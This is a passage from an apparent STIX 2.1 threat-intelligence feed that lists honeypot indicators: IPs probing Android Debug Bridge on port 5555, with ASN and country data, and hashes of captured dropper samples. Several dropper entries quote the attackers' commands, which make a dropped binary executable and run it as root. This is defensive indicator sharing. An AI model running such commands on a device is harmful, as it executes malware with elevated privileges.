      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.169.105.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:00:10.000Z",
      "valid_until": "2026-06-03T06:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 26,
          "first_seen": "2026-05-02T05:34:54.000Z",
          "last_seen": "2026-05-02T05:46:21.842Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T07:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=62; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=27; cmd=\"/data/local/tmp/nohup /data/local/tmp/log\"\n\nObserved in ADBHoney telemetry for 2026-05. events=62 | first_seen=2026-05-02T06:36:20.000Z | last_seen=2026-05-02T06:49:57.837Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971,7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865,d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--6c2af497-1212-4ab7-bb4d-180ff013a15d",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '1.31.31.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:00:05.000Z",
      "valid_until": "2026-06-03T07:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 62,
          "first_seen": "2026-05-02T06:36:20.000Z",
          "last_seen": "2026-05-02T06:49:57.837Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971",
            "7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865",
            "d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T07:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=22 | first_seen=2026-05-02T06:56:54.000Z | last_seen=2026-05-02T07:08:49.585Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--50e7e827-f670-4279-ab54-478544e0498b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:00:05.000Z",
      "valid_until": "2026-06-03T07:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 22,
          "first_seen": "2026-05-02T06:56:54.000Z",
          "last_seen": "2026-05-02T07:08:49.585Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T07:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971.raw; src_ip=1.31.31.7; src_ips=1.31.31.7; cc=CN; last_seen=2026-05-02T06:38:55.610Z; cmds=[/data/local/tmp/nohup /data/local/tmp/log | /data/local/tmp/nohup su -c /data/local/tmp/log | chmod 0755 /data/local/tmp/log]",
      "id": "indicator--b0a2c041-a286-4443-9375-212b4f3c80bc",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T07:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865.raw; src_ip=1.31.31.7; src_ips=1.31.31.7; cc=CN; last_seen=2026-05-02T06:38:19.142Z; cmds=[/data/local/tmp/nohup /data/local/tmp/log | /data/local/tmp/nohup su -c /data/local/tmp/log | chmod 0755 /data/local/tmp/log]",
      "id": "indicator--be36b9a1-9049-4919-b904-9884df3c4d1d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T07:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5.raw; src_ip=1.31.31.7; src_ips=1.31.31.7; cc=CN; last_seen=2026-05-02T06:39:34.387Z; cmds=[/data/local/tmp/nohup /data/local/tmp/log | /data/local/tmp/nohup su -c /data/local/tmp/log | chmod 0755 /data/local/tmp/log]",
      "id": "indicator--e144f8d7-9ba7-448e-ad7e-1ec66d9ad4d9",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T07:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0.raw; src_ip=1.31.31.7; src_ips=1.31.31.7; cc=CN; last_seen=2026-05-02T06:39:45.894Z; cmds=[/data/local/tmp/nohup /data/local/tmp/log | /data/local/tmp/nohup su -c /data/local/tmp/log | chmod 0755 /data/local/tmp/log]",
      "id": "indicator--6b1b68f3-1dad-4432-ab40-fc197fd238b4",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T08:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=12 | first_seen=2026-05-02T07:44:10.000Z | last_seen=2026-05-02T07:54:24.636Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--df43089e-9472-4f28-93fc-89375b7e9607",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.23.241.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:00:09.000Z",
      "valid_until": "2026-06-03T08:00:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 12,
          "first_seen": "2026-05-02T07:44:10.000Z",
          "last_seen": "2026-05-02T07:54:24.636Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T09:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-02T08:20:56.000Z | last_seen=2026-05-02T08:32:04.045Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--6f5e3279-4ea2-4006-9e1f-b7b64199cf7e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '162.216.150.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:00:10.000Z",
      "valid_until": "2026-06-03T09:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-02T08:20:56.000Z",
          "last_seen": "2026-05-02T08:32:04.045Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T11:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=14 | first_seen=2026-05-02T10:31:19.000Z | last_seen=2026-05-02T10:41:22.711Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--3499897d-aef7-43a3-8ba3-ba64f7196765",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '121.158.231.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T11:00:09.000Z",
      "valid_until": "2026-06-03T11:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 14,
          "first_seen": "2026-05-02T10:31:19.000Z",
          "last_seen": "2026-05-02T10:41:22.711Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T11:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=SE; asn=42237; asn_org=w1n ltd; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=63 | first_seen=2026-05-02T10:36:03.000Z | last_seen=2026-05-31T06:42:36.865Z | ports=5555 | cc=SE | asn=42237 | org=w1n ltd",
      "id": "indicator--f15433ca-ea71-4e3a-a813-05671a711164",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.246.128.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T11:00:09.000Z",
      "valid_until": "2026-06-03T11:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 63,
          "first_seen": "2026-05-02T10:36:03.000Z",
          "last_seen": "2026-05-31T06:42:36.865Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SE"
          ],
          "asn": [
            "42237"
          ],
          "org": [
            "w1n ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T12:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-02T11:31:15.000Z | last_seen=2026-05-02T11:32:20.396Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:00:11.000Z",
      "valid_until": "2026-06-03T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-02T11:31:15.000Z",
          "last_seen": "2026-05-02T11:32:20.396Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-02T13:48:37.000Z | last_seen=2026-05-02T13:49:45.731Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--d99b5f9a-f339-4271-abd4-600aad94c40b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T14:00:10.000Z",
      "valid_until": "2026-06-03T14:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-02T13:48:37.000Z",
          "last_seen": "2026-05-02T13:49:45.731Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T22:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/43729ea54ede1af2fec26d9ed0d61eca149c0f4f2c094b444f20595717e30c0c.raw; last_seen=2026-05-02T21:57:01.477Z",
      "id": "indicator--219d2a84-e88e-49ae-a266-62e60a3208f8",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '43729ea54ede1af2fec26d9ed0d61eca149c0f4f2c094b444f20595717e30c0c']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T22:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T22:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/985fc75cea86d2a6b7e38021be3df87b9e862cc89d4210183a48a4879676470d.raw; last_seen=2026-05-02T21:57:01.216Z",
      "id": "indicator--3a1edd04-feb5-4858-8f89-324ac684c362",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '985fc75cea86d2a6b7e38021be3df87b9e862cc89d4210183a48a4879676470d']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T22:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T01:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=GB; asn=201002; asn_org=PebbleHost Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=38 | first_seen=2026-05-03T00:24:09.000Z | last_seen=2026-05-04T22:40:17.068Z | ports=5555 | cc=GB | asn=201002 | org=PebbleHost Ltd",
      "id": "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:00:11.000Z",
      "valid_until": "2026-06-04T01:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 38,
          "first_seen": "2026-05-03T00:24:09.000Z",
          "last_seen": "2026-05-04T22:40:17.068Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "201002"
          ],
          "org": [
            "PebbleHost Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T02:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=22 | first_seen=2026-05-03T01:59:55.000Z | last_seen=2026-05-03T02:11:27.142Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--b55f19d7-1993-4f5c-8acd-7eaa9f6e90c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:00:10.000Z",
      "valid_until": "2026-06-04T02:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 22,
          "first_seen": "2026-05-03T01:59:55.000Z",
          "last_seen": "2026-05-03T02:11:27.142Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T03:00:10.000Z",
